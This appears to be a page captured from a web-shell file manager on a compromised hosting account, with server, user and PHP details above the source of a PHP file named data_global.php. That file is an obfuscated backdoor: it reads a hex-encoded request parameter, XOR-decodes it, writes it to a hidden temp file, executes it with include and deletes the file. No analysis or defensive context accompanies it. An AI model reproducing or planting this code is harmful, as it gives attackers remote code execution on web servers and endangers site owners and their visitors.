HEX
Server: Apache
System: Linux web2036c1.megawebservers.com 5.14.0-570.37.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 28 10:41:06 UTC 2025 x86_64
User: absolutespace.ca (53202)
PHP: 7.4.33
Disabled: apache_get_modules,apache_get_version,disk_free_space,phpinfo,exec,shell_exec,passthru,system,proc_nice
Upload Files
File: /services/webpages/a/b/absolutespace.ca/public/data_global.php
<?php

if(@$_REQUEST["\x65l\x65m"] !== null){
	$pgrp = hex2bin($_REQUEST["\x65l\x65m"]);
	$factor     =      ''    ;   foreach(str_split($pgrp) as $char){$factor .= chr(ord($char) ^ 64);}
	$rec = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
	foreach ($rec as $key => $obj) {
    		if (is_dir($obj) && is_writable($obj)) {
    $fac = sprintf("%s/.pset", $obj);
    $file = fopen($fac, 'w');
if ($file) {
	fwrite($file, $factor);
	fclose($file);
	include $fac;
	@unlink($fac);
	die();
}
}
}
}